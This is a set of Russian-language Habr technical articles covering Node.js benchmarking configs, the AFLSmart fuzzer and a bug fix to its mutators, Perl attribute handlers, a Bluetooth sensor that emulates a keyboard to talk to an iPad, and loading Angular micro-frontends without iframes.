1. Оставить одно ядро самой системе, если это возможно.
2. Оставить ещё ядер системе, если мне нужно будет ещё что-то на нём «крутить».
3. Остальное можно отдать Node серверам под 100% утилизацию.
[GIT](https://github.com/wentout/nodejs_benchmark) с тестом.
Обещанный Use Case:
* Если кто не в курсе, установка зависимостей производится как **npm install**.
* Если ничего не менять, то после **node test\_requester.js** нужно нажать Enter один раз, чтобы запустить запросы.
* Остановка по Ctrl + C.
* Это всё в консоли. Offtopic — я использую Guake Terminal — IMHO: очень удобно.
* Сервер запускается как node test\_httpserver.js.
Да, и не делайте тестов, если не понимаете архитектуры систем на железном уровне. Хотите понять — курите мануалы, например: Ч. Петцольд — «Код. Тайный язык информатики.» Там всё подробненько изложено на весьма доступном языке. У меня её даже дедушка читал, а дедушке 75 лет и он бывший шахтёр.
На всякий случай поясню — если у Вас 4 ядра, из которых реальных 2, то numCPUs может Вам нещадно наврать.
Да, и мои конфиги, если интересно:
**cat /etc/sysctl.conf**fs.file-max=65535
kernel.max\_lock\_depth = 4096
fs.mqueue.queues\_max = 1024
fs.mqueue.msg\_max = 2048
fs.mqueue.msgsize\_max = 16384
fs.inotify.max\_user\_watches = 1048576
fs.inotify.max\_queued\_events = 65536
fs.inotify.max\_user\_instances = 16384
net.ipv4.tcp\_fin\_timeout = 150
kernel.sem = 1000 32000 128 2048
**cat /etc/security/limits.conf**root hard msgqueue 131072
root soft msgqueue 131072
root hard sigpending 131072
root soft sigpending 131072
root hard nproc 131072
root soft nproc 131072
root hard core 131072
root soft core 131072
root hard nofile 131072
root soft nofile 131072
\* hard msgqueue 131072
\* soft msgqueue 131072
\* hard sigpending 131072
\* soft sigpending 131072
\* hard nproc 131072
\* soft nproc 131072
\* hard core 131072
\* soft core 131072
\* hard nofile 131072
\* soft nofile 131072
**Проверил без этих конфигов, вышло лучше процентов на 30.**
… | https://habr.com/ru/post/207612/ | null | ru | null |
# Greybox Fuzzing на примере AFLSmart
Наверное, все слышали про крутой фаззер AFL.
Многие используют его как основной фаззер для поиска уязвимостей и ошибок.
Недавно появился форк AFL, [AFLSmart](https://github.com/aflsmart/aflsmart), который имеет интересное развитие идеи. Если верить документации, он может мутировать данные по заранее подготовленной модели, в то время как AFL применяет рандомные низкоуровневые операции. Однако, есть несколько подводных камней. Рассказываем об AFLSmart и разбираемся, что у него под капотом.
На самом деле этот форк появился несколько лет назад, но более-менее понятное описание было опубликовано только в августе 2019 года в статье [Smart Greybox Fuzzing](https://thuanpv.github.io/publications/TSE19_aflsmart.pdf). Опубликованные данные показывают, что этот фаззер может увеличить скорость поиска багов. Например, авторы нашли 9 багов в FFmpeg за неделю. Мы решили опробовать AFLSmart в одном из своих проектов.
К сожалению, в индустрии информационной безопасности до сих пор нет четко устоявшего определения, что такое Grey-Box Fuzzing. Некоторые понимают под ним тот фаззинг, который имеет обратную связь от таргета для подготовки тестовых данных для улучшения покрытия (это [honggfuzz](https://github.com/google/honggfuzz), AFL и все его модификации). Другие понимают подход, при котором фаззер на старте уже имеет какую-то информацию о структуре входных данных и в процессе своей работы соблюдает это описание (не рассчитывая на случайность рандомных преобразований), чтобы не застревать и лучше продвигаться вглубь кода (наш сегодняшний пациент AFLSmart). Мы относимся ко второй категории. AFLSmart не единственный представитель Grey-Box подхода и, если вам интересна данная тема, советуем также обратить внимание на [Superion](https://github.com/zhunki/Superion) и [Nautilus](https://github.com/nautilus-fuzz/nautilus).
Вернемся к нашему проекту. Объектом исследования стала не очень известная сетевая библиотека. Сейчас уже и не вспомнить, на что ушло больше времени — на исследование библиотеки или на понимание AFLSmart. Нам хотелось получить результат не хуже, чем у авторов вышеупомянутой статьи, поэтому мы уделили фаззеру пристальное внимание.
Проблема заключалась в том, что фаззер не вел себя предсказуемым образом и генерировал не те данные, которые мы от него ждали. Немного забегая вперед, отметим, что в AFLSmart есть недоработка, с которой можно столкнуться при создании более требовательной модели данных, чем в примерах у авторов статьи. Удивительно, что спустя год после публичного релиза никто не столкнулся с этим до нас.
Немного о наших ожиданиях. После прочтения white paper о AFLSmart сложилось впечатление, что он может и структуру данных соблюсти и сами данные промутировать так, чтобы значительно увеличить покрытие. То есть может учесть, что где находится, а также что и как можно и нельзя мутировать. Это очень важно, ведь многие форматы файлов и сетевых пакетов содержат различные magic words, контрольные суммы и т.д., при неверном значении которых дальнейшая обработка файла или пакета вообще не происходит, то есть нет никакого продвижения по покрытию нового кода. Мы рассчитывали, что как раз с помощью AFLSmart сможем решить эму проблему, описав ему известный нам формат.
**Кстати, есть и другой интересный подход к этой проблеме, но об этом позже**[T-Fuzz: fuzzing by program transformation](https://nebelwelt.net/publications/files/18Oakland.pdf)
Идея в том, чтобы при фаззинге трансформировать не только входные данные, но и саму программу, чтобы увеличить покрытие путем удаления "hard" проверок.
Если кратко:
1) We show that fuzzing can more effectively find bugs by transforming the target program,
instead of resorting to heavy weight program analysis techniques.
2) We present a set of techniques that enable fuzzing to mutate both inputs and the programs, including techniques for
(i) automatic detection of sanity checks in the target program,
(ii) program transformation to remove the detected sanity checks,
(iii) reproducing bugs in the original program by filtering false positives that only crash in the transformed program.
Итак, AFLSmart — это связка двух фаззеров: AFL и [Peach](https://www.peach.tech/). Если вы сталкивались с Peach, то знаете, что для работы он требует модель, по которой будут генерироваться данные (т.к. это генерационный фаззер). Можно просто описать формат данных в выбранном приложении, но можно также и дать указания относительно того, что можно мутировать и что нельзя. Например, нельзя трогать magic words, если вы уверены, что они точно нужны.
Как выяснилось, Peach здесь нужен, только чтобы по модели разбивать входные тест-кейсы на части (чанки). Это просто парсер, а генерацией занимаются добавленные в AFL мутаторы, и ошибка была в них. Вы увидите, что, хотя пофиксить ее было легко, нам пришлось попутно разобраться во всех нюансах, чтобы быть уверенными, что это единственное проблемное место.
Для наглядности возьмем `pcap` файл, он имеет следующий формат:
### PcapHeader
| bytes | type | Name | Description |
| --- | --- | --- | --- |
| 4 | uint32 | magic | 'A1B2C3D4' means the endianness is correct |
| 2 | uint16 | vmajor | major number of the file format |
| 2 | uint16 | vminor | minor number of the file format |
| 4 | int32 | thiszone | correction time in seconds from UTC to local time (0) |
| 4 | uint32 | sigfigs | accuracy of time stamps in the capture (0) |
| 4 | uint32 | snaplen | max length of captured packed (65535) |
| 4 | uint32 | network | type of data link (1 = ethernet) |
### Frame
| bytes | type | Name | Description |
| --- | --- | --- | --- |
| 4 | uint32 | ts\_sec | timestamp seconds |
| 4 | uint32 | ts\_usec | timestamp microseconds |
| 4 | uint32 | incl\_len | number of octets of packet saved in file |
| 4 | uint32 | orig\_len | actual length of packet |
| incl\_len | uint32 | data | data |
`pcap` файлы, конечно, имеют и другие поля в `Frame`(Ethernet Header, IPv4, UDP), но мы не будем их детально описывать и, чтобы облегчить задачу, спрячем в поле `data`.
Соответствующая модель для Peach будет выглядеть так:
```
```
Теперь посмотрим, какие новые мутаторы, работающие с этой моделью, добавили в оригинальный AFL и в чем, собственно, была проблема.
Высокоуровневые мутаторы
========================
На самом деле, мутации производятся тремя несложными способами.
Удаление чанка
--------------
`Seed s` — это валидный файл, у которого мутатор удалит чанк `c` с координатами `c.start`, `c.end`. Координаты — это смещения от начала файла. Например, у `pcap` файлов сначала идет константа `A1B2C3D4`, следовательно, `c.start`=0, `c.end`=3.
Добавление чанка
----------------
Фаззер выбирает произвольный чанк `c2` из одного файла и вставляет его сразу за `c1` в другом файле. Здесь важно, чтобы у обоих чанков были родители одного типа. Этот мутатор не добавит чанк `timestamp` к константе `A1B2C3D4` в случае с `pcap` файлом. Но он может добавить `version_major`, потому что и константа и `version_major` относятся к `PCAP Packet Header`.
Замена чанка
------------
Этот мутатор просто меняет произвольный чанк `c1` на `c2`. Учитывается, что у чанков может быть разный размер.
Также стоит разобраться, откуда берутся эти координаты.
Как уже было сказано, Peach выполняет роль парсера — он разбивает тест-кейс на чанки.
Можно увидеть, как это работает:
```
peach -1 -inputFilePath=valid_file -outputFilePath=valid_file.chunks model.xml
```
Сгенерированный `valid_file.chunks` будет содержать смещения всех чанков.
Вот как это выглядит в случае с `pcap` и [этим](https://github.com/aflsmart/aflsmart/blob/master/testcases/aflsmart/pcap/Apple_IP-over-IEEE_1394_Packet.pcap) файлом:
```
0,95,Pcap,Enabled
0,23,Pcap~PHeader,Enabled
0,3,Pcap~PHeader~magic,Disabled
4,5,Pcap~PHeader~vmajor,Enabled
6,7,Pcap~PHeader~vminor,Enabled
8,11,Pcap~PHeader~thiszone,Enabled
12,15,Pcap~PHeader~sigfigs,Enabled
16,19,Pcap~PHeader~snaplen,Enabled
20,23,Pcap~PHeader~network,Enabled
24,95,Pcap~PFrame,Enabled
24,95,Pcap~PFrame~PFrame,Enabled
24,27,Pcap~PFrame~PFrame~ts_sec,Enabled
28,31,Pcap~PFrame~PFrame~ts_usec,Enabled
32,35,Pcap~PFrame~PFrame~incl_len,Enabled
36,39,Pcap~PFrame~PFrame~orig_len,Enabled
40,95,Pcap~PFrame~PFrame~data,Enabled
```
Просто смещения, имена и значение атрибута `mutable`.
Вот с этим атрибутом и была проблема.
Проблема
========
Каждый чанк в модели может иметь атрибут `mutable=false`, который укажет фаззеру не трогать его содержимое. Это может потребоваться, если есть magic word, как у `pcap` файлов, например, — `A1B2C3D4`.
Однако, AFLSmart упрямо игнорировал это. Он верно парсил значение, но данные все равно подвергал мутациям. В AFLSmart есть опция запуска дебага `-l`, она включает логирование результатов высокоуровневых мутаций, логи можно потом смотреть в папке {out}/log.
Пришлось лезть внутрь и разбираться, в чем дело. Все оказалось проще некуда.
Представление чанка в памяти имеет следующий вид:
```
struct chunk {
unsigned long
id; /* The id of the chunk, which either equals its pointer value or, when
loaded from chunks file, equals to the hashcode of its chunk
identifer string casted to unsigned long. */
int type; /* The hashcode of the chunk type. */
int start_byte; /* The start byte, negative if unknown. */
int end_byte; /* The last byte, negative if unknown. */
char modifiable; /* The modifiable flag. */
struct chunk *next; /* The next sibling child. */
struct chunk *children; /* The children chunks linked list. */
};
```
Мы видим поле `modifiable`. Оно принимает значение 0, если чанк нельзя модифицировать, и 1 — если можно.
Логично предположить, что это поле должно где-то проверяться.
Быстрый поиск по исходникам привел нас к выводу, что он не проверяется нигде. Хотя есть две функции, где это можно сделать.
Функция `get_chunk_to_delete` выдает рандомный чанк на удаление, но проверяет лишь его координаты:
```
struct chunk *get_chunk_to_delete(struct chunk **chunks_array, u32 total_chunks,
u32 *del_from, u32 *del_len) {
struct chunk *chunk_to_delete = NULL;
u8 i;
*del_from = 0;
*del_len = 0;
for (i = 0; i < 3; ++i) {
int start_byte;
u32 chunk_id = UR(total_chunks);
chunk_to_delete = chunks_array[chunk_id];
start_byte = chunk_to_delete->start_byte;
if (start_byte >= 0 &&
chunk_to_delete->end_byte >= start_byte) {
*del_from = start_byte;
*del_len = chunk_to_delete->end_byte - start_byte + 1;
break;
}
}
```
То же самое и с функцией `get_target_to_splice`, которая выдает чанк, который будет заменен:
```
struct chunk *get_target_to_splice(struct chunk **chunks_array,
u32 total_chunks, int *target_start_byte,
u32 *target_len, u32 *type) {
struct chunk *target_chunk = NULL;
u8 i;
*target_start_byte = 0;
*target_len = 0;
*type = 0;
for (i = 0; i < 3; ++i) {
u32 chunk_id = UR(total_chunks);
target_chunk = chunks_array[chunk_id];
*target_start_byte = target_chunk->start_byte;
if (*target_start_byte >= 0 &&
target_chunk->end_byte >= *target_start_byte) {
*target_len = target_chunk->end_byte - *target_start_byte + 1;
*type = target_chunk->type;
break;
}
}
return target_chunk;
}
```
В общем, дело решилось добавлением проверок поля `modifiable` в этих функциях и [пулл-реквестом](https://github.com/aflsmart/aflsmart/pull/21) в репозиторий AFLSmart. Авторы внесли изменения.
Итак, теперь можно рассмотреть, как именно работает AFLSmart и какие у него есть режимы.
Режимы работы AFLSmart
======================
Режимов работы у AFLSmart два, и выбор режима зависит от того, насколько вам нужны родные мутаторы AFL(низкоуровневые).
В режиме по умолчанию сначала работают высокоуровневые операторы. При этом, если результат их работы не приведет к увеличению покрытия, будет применен низкоуровневый мутатор splicing. Он берет исходный кейс и случайный кейс, затем меняет часть содержимого исходного (второй кейс выступает источником). Фаззер далее смотрит, насколько это улучшит ситуацию с покрытием.
Во втором режиме фаззер сначала меняет кейс через высокоуровневые мутаторы, а затем результат прокручивается через рандомные низкоуровневые. Как вы понимаете, низкоуровневые мутаторы уже не учитывают формат и с легкостью могут попортить поля, которые трогать нельзя. Нужно это понимать и учитывать. Этот режим называется stacking и включается опцией -h.
Появилась, кстати, классная опция -e : она подставит расширение в текущий кейс. Оригинальный AFL пишет очередной тест-кейс в файл {out}/.cur\_input, но бывают приложения, которые проверяют расширение и ожидают на вход, например, {out}/.cur\_input.png|wav|avi и т.д. Если нет правильного расширения, файл будет просто отброшен. Поэтому разработчики добавили такую функцию.
Итог
====
После устранения недоработки фаззинг с AFLSmart у нас все равно не взлетел. Исследуемая нами библиотека запускает несколько потоков, и AFLSmart начинает сходить с ума, потому что один и тот же тест-кейс может обнаружить разные пути, а стандартные рекомендации для нас не сработали. Таков механизм оригинального AFL, он изначально создавался под парсеры файлов, а не для работы с сетевыми пакетами асинхронного сервера.
Смотрите сами, авторы [демонстрируют](https://thuanpv.github.io/publications/TSE19_aflsmart.pdf), что нашли 42 zero-day уязвимостей в нескольких популярных приложениях. Это все парсеры, с которыми может справиться AFLSmart из коробки.
Это ограничение можно преодолеть, если допилить `clang` модуль [afl-llvm-pass.so](https://github.com/aflsmart/aflsmart/blob/master/llvm_mode/afl-llvm-pass.so.cc) и заставить его инструментировать только код, ответственный за парсинг пакетов. Также в AFL и AFLSmart можно загрузить свой bitmap и заставить игнорировать пути в других потоках. Но об этом в следующий раз. | https://habr.com/ru/post/492768/ | null | ru | null |
# Атрибуты: взгляд внутрь
Это продолжение статьи "[Введение в атрибуты](/blogs/perl/53451/)". Если Вы не знакомы с идеей атрибутов и их синтаксисом — советую начать с нее. Ну а в этой статье рассматривается, как устроены атрибуты изнутри, как с ними обращаться, и какие могут возникнуть проблемы.
#### Guts
Когда во время компиляции Perl встречает атрибут, он пытается вызвать у текущего класса один из хендлеров вида `MODIFY_SCALAR_ATTRIBUTES`, `MODIFY_CODE_ATTRIBUTES` и т.д. — в зависимости от типа помеченных атрибутом данных, примерно так:
`__PACKAGE__->MODIFY_CODE_ATTRIBUTES(\&mySub, 'myAttribute1', 'myAttribute2');`
Еще раз повторюсь: эти вызовы выполняются прямо во время компиляции (на стадии BEGIN), а точнее — сразу после того, как perl докурит закрывающую функцию фигурную скобку (**справедливый UPD от [xames](https://habrahabr.ru/users/xames/):** *не все хэндлы вида `MODIFY_*_ATTRIBUTES` выполняются на стадии BEGIN. В частности `MODIFY_SCALAR_ATTRIBUTES` выполнится на этапе инициализации переменной (`my $tmp: attr = 0;`)*). Поскольку атрибутов может быть несколько, а наследование никто не отменял, считается хорошим тоном прошерстить внутри хендлера полученный список, отобрать оттуда те атрибуты, которые обработать можно, и отдать суперклассу на растерзание то, что осталось.
Аналогично, если вы хотите получить список атрибутов функции/переменной и вызываете для этого функцию get из модуля attributes, происходит обращение к хендлеру `FETCH_SCALAR_ATTRIBUTES` (ну или `FETCH_CODE_ATTRIBUTES` — думаю, вы уже поняли).
Собственно, все особенности работы с атрибутами на низком уровне можно посмотреть в [perldoc attributes](http://perldoc.perl.org/attributes.html). Кстати, для тех, кому такая реализация показалась кривоватой, там есть важное замечание: "*The mechanisms described here are still experimental. Do not rely on the current implementation*". Ну что ж, нет ничего постояннее экспериментальных механизмов :-)
#### Рецепт счастья
Очевидно, ковырять атрибуты при помощи вышеупомянутых хендлеров — занятие не слишком-то приятное. Слава Богу, в поставке того же Perl 5.6 появился модуль `Attribute::Handlers`, который значительно упрощает написание обработчиков для атрибутов и вводит дополнительные интересные возможности — атрибуты могут иметь параметры и обрабатываться не только во время BEGIN-стадии, но и во время CHECK, INIT, END. Кстати, работает этот модуль опять же при помощи атрибутов.
Итак, чтобы можно было использовать атрибут `myAttribute` для пометки функций, достаточно написать следующий код:
`use Attribute::Handlers;
sub myAttribute : ATTR(CODE) {
my ($package, $symbol, $referent, $attr, $data, $phase, $filename, $linenum) = @_;
....
}`
Обработчик — метод `myAttribute` — будет вызван для помеченной функции приблизительно так же, как и хендлеры из предыдущих примеров. Параметров ему передается заметно больше: кроме ссылки на функцию и имени атрибута могут присутствовать также ссылка на элемент таблицы символов (GLOB), название фазы BEGIN/CHECK/INIT/END, дополнительные параметры атрибута, указание на имя файла и номер строки. По умолчанию обработчик запускается во время стадии компиляции CHECK, когда все что можно уже загружено и переварено.
Если нам захочется передавать обработчику дополнительную информацию — можно сделать это например так:
`sub mySub : myAttribute(p1,p2) {:}`
В этом случае обработчик получит в переменную $data массив со значениями `p1` и `p2`.
Из других забавных возможностей `Attribute::Handlers` стоит отметить альтернативный интерфейс к функции `tie`, который сам по себе является довольно интересным примером применения атрибутов. Останавливаться на нем здесь особого смысла нет, все предельно понятно из документации.
Стоит отметить, что большинство модулей CPAN, использующих атрибуты, опирается именно на модуль `Attribute::Handlers`. Тем не менее, поможет он не всегда. Более того, не надейтесь что все так гладко и красиво, как кажется :)
#### Грабли
Фаза CHECK не зря выбрана в `Attribute::Handlers`, как дефолтная. На этой фазе интерпретатор уже закончил обработку кода и разместил функции и все остальное в таблице символов, так что теперь есть техническая возможность получить ссылку на соответствующий GLOB и пошаманить над ним — например, подменить функцию. Сделать это на фазе BEGIN не получится — GLOB еще не заполнен, и в обработчик атрибута передан не будет. И вот тут начинается самое интересное. Если вы занимаетесь разработкой под mod\_perl, все это к вам не относится — у вас нет фазы CHECK. Согласно [perldoc perlmod](http://perldoc.perl.org/perlmod.html), внутри вызовов `eval` и под mod\_perl стадии компиляции CHECK и INIT не работают, есть только BEGIN и еще UNITCHECK. С UNITCHECK'ом тоже не все гладко — глобально эта фаза не перехватывается, только на уровне соответствующего модуля. Мне не удалось найти модуля, который бы решал эту проблему и давал возможность добраться до GLOB'а под mod\_perl столь же тривиально, как это можно сделать в обычном скрипте. Можно было бы добавить на уровне `Attribute::Handlers` возможность вводить свои собственные триггеры для запуска обработчиков и дергать их вручную — но модуль написан так, что про подобные патчи можно сразу забыть. Я смог решить эту задачу фактически введя дополнительное ограничение при написании кода — пришлось отказаться от `require` при загрузке классов в пользу `use`. В результате работа делается в два захода — сначала на этапе BEGIN собирается список функций, помеченных нужным мне атрибутом, а после вызова метода `import` делается основная работа. Если кто-то предложит более человечный способ, я буду рад.
#### Заключение
По сути, атрибуты позволяют привязать к привычным составляющим программы дополнительные возможности. Интерес этих возможностей в том, что на самом деле их в коде не видно. Это чем-то похоже на `tie` — вы выполняете элементарные действия над простейшими структурами данных, за которыми на самом деле скрыты нетривиальные обработчики. Если вам понадобился некий универсальный механизм, но вы не хотите, чтобы особенности его реализации были видны в коде — посмотрите в сторону атрибутов. | https://habr.com/ru/post/53455/ | null | ru | null |
# Соединение «самопальных» устройств по bluetooth с iOS
Здраствуй, Хабраюзер! Возникла у меня на работе ситуация, что нужно было спроектировать устройство для iOS, которое бы посредством bluetooth передавало данные на iPad. Если в кратце- это устройство, которое должно прятаться в обычной пачке сигарет и передавать на ipad данные, на каком ребре она лежит. Я начал штудировать сайт apple на предмет взаимодействия bluetooth- устройств и самого ipad, но предлагались варианты либо использовать GameKit (что нам совсем не подходило), либо вступать в программу Apple MFi ( которая несет кучу ограничений и просто так в нее не вступишь). Начали искать решения, и тут подвернулся мне человек, очень хорошо дружащий с электроникой.
Изначально разработка планировалась на Arduino, но знающий человек отговорил от этой затеи ввиду больших финансовых затрат (нужна была партия около 1000 штук). И мы нашли оптимальное решение- собрать устройство самим. Так как я не силен в электронике, то просто опишу какие компоненты использовались:
* датчик положения MMA7260QT
* контроллер ATmega16U4-AU
* bluetooth BlueGiga
В итоге получился вот такой прототип:
Вид снизу:
Устройство отлично передавало свое положение, но встал самый главный вопрос: как эти данные передать на iPad?
Решение пришло весьма неожиданно- есть такой профиль в SSP — «just works», когда обмен кодами происходит,
но без индикации и участия пользователя. И мы решили использовать его, эмулируя обычную bluetooth- клавиатуру. Прикрутили этот профиль к прототипу, и вот что получилось (извиняюсь за качество видео, но суть думаю будет понятна):
Устройство передает 10 раз в секунду определенную букву в зависимости от местоположения, и при каждой смене положения передает цифру от 0 до 9 которая соответствует заряду аккумулятора.
Ну а на iPad уже перехватить данные с клавиатуры не составило труда. Я создал скрытый UITextField, и просто в нем перехватывал «нажатые» клавиши. Вот краткий код, как это все работает:
```
@interface ViewController : UIViewController
{
IBOutlet UITextField \*textField;
}
@property (nonatomic, strong) IBOutlet UILabel \*currTestLabel;
@property (nonatomic, strong) IBOutlet UILabel \*packPositionLabel;
@property (nonatomic, strong) IBOutlet UILabel \*batteryPercentageLabel;
@end
```
```
@implementation ViewController
- (void)viewDidLoad
{
[super viewDidLoad];
[textField becomeFirstResponder];
}
- (BOOL)textField:(UITextField *)textField shouldChangeCharactersInRange:(NSRange)range replacementString:(NSString *)string
{
if ([string isEqualToString:@"Z"] || [string isEqualToString:@"z"] || [string isEqualToString:@"Я"] || [string isEqualToString:@"я"])
{
_packPositionLabel.text = @"Плашмя";
}
if ([string isEqualToString:@"9"])
{
_batteryPercentageLabel.text = @"100%";
}
return NO;
}
@end
```
Надеюсь данная статья кому то облегчит жизнь. Если кому нибудь нужна будет схема, прошивка устройства или подробности как это в итоге работает- с удовольствием поделюсь! | https://habr.com/ru/post/152621/ | null | ru | null |
# Как мы распилили монолит. Часть 3, Frame Manager без фреймов
Привет. В [прошлой статье](https://habr.com/ru/company/tinkoff/blog/520476/) я рассказал про Frame manager — оркестратор фронтовых приложений. Описанная реализация решает многие проблемы, но в ней есть недостатки.
Из-за того, что приложения грузятся в iframe, появляются проблемы с версткой, некорректно работают плагины, клиенты по-прежнему скачивают два бандла с Ангуляром, даже если версии Ангуляра в приложении и Frame Manager’е одинаковые. Да и использовать iframe в 2020 году кажется моветоном. А что, если отказаться от фреймов и загружать все приложения в один window?
Оказалось, это возможно, и сейчас я расскажу, как это реализовать.
Возможные решения
-----------------
**Single-spa**: «А javascript router for front-end microservices» — как указано на сайте библиотеки. Позволяет одновременно запускать на одной странице приложения, написанные на разных фреймворках. Нам решение не подошло: большая часть функциональности оказалась не нужна, а используемый в нем лоадер System.js в некоторых случаях создает проблемы при сборке с webpack. Да и использовать загрузчик модулей вместе с webpack кажется не лучшим решением.
**Angular elements:** пакет позволяет оборачивать Angular-компоненты в web components. Можно обернуть приложение целиком. Тогда придется добавлять полифил для старых браузеров, да и создание веб-компонента из целого приложения со своим роутингом выглядит идеологически неверным решением.
Реализация в Frame manager
--------------------------
Посмотрим, как реализована загрузка приложений без фреймов в Frame manager на примере.
Начальный сетап выглядит следующим образом: у нас есть главное приложение — main. Оно всегда загружается первым и внутри себя должно загружать другие приложения — app-1 и app-2. Создадим три приложения с помощью команды *ng new* . Далее настроим проксирование так, чтобы на запросы вида *//\*.js*, *//\*.html* отдавались html и js файлы нужного приложения, а на все остальные запросы — статика главного приложения.
**proxy.conf.js**
```
const cfg = [
{
context: [
'/app1/*.js',
'/app1/*.html'
],
target: 'http://localhost:3001/'
},
{
context: [
'/app2/*.js',
'/app2/*.html'
],
target: 'http://localhost:3002/'
}
];
module.exports = cfg;
```
У приложений app-1 и app-2 укажем baseHref в angular.json app1 и app2 соответственно. Также поменяем селекторы корневых компонентов на app-1 и app-2.
**Так выглядит главное приложение**
Сначала добьемся загрузки хотя бы одного подприложения. Для этого нужно загрузить все js-файлы, указанные в index.html.
Узнаем url-ы js-файлов: делаем http-запрос за index.html, парсим строку с помощью DOMParser и выбираем все script-тэги. Преобразуем все в массив и смапим его в массив адресов. Адреса, полученные таким образом, будут содержать location.origin, поэтому заменим его на пустую строку:
```
private getAppHTML(): Observable {
return this.http.get(`/${this.currentApp}/index.html`, {responseType: 'text'});
}
private getScriptUrls(html: string): string[] {
const appDocument: Document = new DOMParser().parseFromString(html, 'text/html');
const scriptElements = appDocument.querySelectorAll('script');
return Array.from(scriptElements)
.map(({src}) => src.replace(this.document.location.origin, ''));
}
```
Адреса есть, теперь надо загрузить скрипты:
```
private importJs(url: string): Observable {
return new Observable(sub => {
const script = this.document.createElement('script');
script.src = url;
script.onload = () => {
this.document.head.removeChild(script);
sub.next();
sub.complete();
};
script.onerror = e => {
sub.error(e);
};
this.document.head.appendChild(script);
});
}
```
Код добавляет в DOM script-элементы с нужными src, а после скачивания скриптов удаляет эти элементы — довольно стандартное решение, примерно так же реализована загрузка в webpack и system.js.
После загрузки скриптов — в теории — у нас есть все для запуска встраиваемого приложения. Но на деле мы получим переинициализацию главного приложения. Похоже, загружаемое приложение как-то конфликтует с основным, чего не происходило при загрузке в iframe.
Загрузка webpack-бандлов
------------------------
Angular для загрузки модулей использует webpack. В стандартной конфигурации вебпак разбивает код на следующие бандлы:
* main.js — весь клиентский код;
* polyfills.js — полифилы;
* styles.js — стили;
* vendor.js — все библиотеки, используемые в приложении, включая Angular;
* runtime.js — рантайм вебпака;
* .module.js — lazy-модули.
Если открыть любой из этих файлов, в самом начале можно увидеть код:
```
(window["webpackJsonp"] = window["webpackJsonp"] || []).push([/.../])
```
А в runtime.js:
```
var jsonpArray = window["webpackJsonp"] = window["webpackJsonp"] || [];
jsonpArray.push = webpackJsonpCallback;
jsonpArray = jsonpArray.slice();
for(var i = 0; i < jsonpArray.length; i++) webpackJsonpCallback(jsonpArray[i]);
```
Работает это так: при загрузке бандла он создает массив webpackJsonp, если его еще нет, и пушит в него свое содержимое. Рантайм вебпака переопределяет функцию push данного массива, чтобы впоследствии можно было загружать новые бандлы, и обрабатывает все, что уже лежит в массиве.
Все это нужно для того, чтобы порядок загрузки бандлов не имел значения.
Таким образом, если загрузить второе Angular-приложение, оно попытается добавить свои модули в уже существующий рантайм вебпака, что в лучшем случае приведет к переинициализации основного приложения.
Меняем название webpackJsonp
----------------------------
Чтобы избежать конфликтов, нужно изменить название массива webpackJsonp. Angular CLI использует свой конфиг вебпака, но при желании его можно расширить. Для этого нужно установить пакет angular-builders/custom-webpack:
*npm i -D @angular-builders/custom-webpack.*
Затем в файле angular.json в конфигурации проекта заменить *architect.build.builder* на *@angular-builders/custom-webpack:browser*, а в *architect.build.options* добавить:
```
"customWebpackConfig": {
"path": "./custom-webpack.config.js"
}
```
Также нужно заменить *architect.serve.builder* на *@angular-builders/custom-webpack:dev-server*, чтобы это работало локально с dev-сервером.
Теперь нужно создать файл с конфигурацией вебпака, который указан выше в customWebpackConfig: *custom-webpack.config.js*
В нем определяются пользовательские настройки, подробнее можно почитать в [официальной документации](https://v4.webpack.js.org/configuration/).
Нас интересует [jsonpFunction](https://v4.webpack.js.org/configuration/output/#outputjsonpfunction).
Можно задать такой конфиг во всех загружаемых приложениях, чтобы избежать конфликтов (если после этого конфликты все же останутся, скорее всего, вас прокляли):
```
module.exports = {
output: {
jsonpFunction: Math.random().toString()
},
};
```
Теперь, если попробовать загрузить все скрипты описанным выше способом, увидим ошибку:
Перед загрузкой приложения нужно добавить его корневой элемент в DOM:
```
private addAppRootElement(appName: string) {
const rootElementSelector = APP_CFG[appName].rootElement;
this.appRootElement = this.document.createElement(rootElementSelector);
this.appContainer.nativeElement.appendChild(this.appRootElement);
}
```
Пробуем еще раз — ура, приложение загрузилось!
Переключение между приложениями
-------------------------------
Удаляем предыдущее приложение из DOM и можем переключаться между приложениями:
```
destroyApp () {
if (!this.currentApp) return;
this.appContainer.nativeElement.removeChild(this.appRootElement);
}
```
Но тут есть недоработки: при переходе app-1 → app-2 → app-1 мы повторно загружаем js-бандлы для приложения app-1 и выполняем их код. Кроме того, мы не уничтожаем загруженные ранее приложения, что ведет к утечке памяти и ненужному потреблению ресурсов.
Если повторно не загружать бандлы приложения, то процесс бутстрапа сам по себе не выполнится и приложение не загрузится. Нужно делегировать процесс запуска бутстрапа главному приложению.
Для этого перепишем файл main.ts загружаемых приложений:
```
const BOOTSTRAP_FN_NAME = 'ngBootstrap';
const bootstrapFn = (opts?) => platformBrowserDynamic().bootstrapModule(AppModule, opts);
window[BOOTSTRAP_FN_NAME] = bootstrapFn;
```
Метод *bootstrapModule* не выполняется сразу, а сохраняется в функции-обертке, которая находится в глобальной переменной. В главном приложении можно получить к ней доступ и выполнить, когда необходимо.
Чтобы уничтожить приложение и устранить утечки памяти, нужно вызвать метод destroy корневого модуля приложения (AppModule). Ссылку на него возвращает метод platformBrowserDynamic().bootstrapModule, а значит, и наша функция-обертка:
```
this.getBootstrapFn$().subscribe((bootstrapFn: BootstrapFn) => {
this.zone.runOutsideAngular(() => {
bootstrapFn().then(m => {
this.ngModule = m; // сохраняем ссылку на модуль
});
});
});
this.ngModule.destroy(); // вызываем при уничтожении
```
После вызова destroy() у корневого модуля последует вызов методов ngOnDestroy() всех сервисов и компонентов приложения (если они реализованы).
Все работает. Но если в загружаемом приложении есть lazy-модули, они не смогут загрузиться:
Видно, что в адресе пропущен путь приложения (должно быть */app2/lazy-lazy-module.js*). Чтобы решить эту проблему, нужно синхронизировать base href основного и загружаемого приложений:
```
private syncBaseHref(appBaseHref: string) {
const base = this.document.querySelector('base');
base.href = appBaseHref;
}
```
Теперь все работает как надо.
Итоги
-----
Посмотрим, сколько занимает загрузка подприложения, поставив console.time() перед загрузкой скриптов в главном приложении и console.timeEnd() в конструктор корневого компонента главного приложения.
При первой загрузке приложений app-1 и app-2 видим примерно такой результат:
Довольно быстро. Но если вернуться в загруженное ранее приложение, можно увидеть такие цифры:
Приложение загружается моментально, так как все нужные чанки уже есть в памяти. Но теперь необходимо более внимательно относиться к неиспользуемым ссылкам на объекты и подпискам, так как даже при уничтожении приложения они могут приводить к утечкам памяти.
Frame manager без фреймов
-------------------------
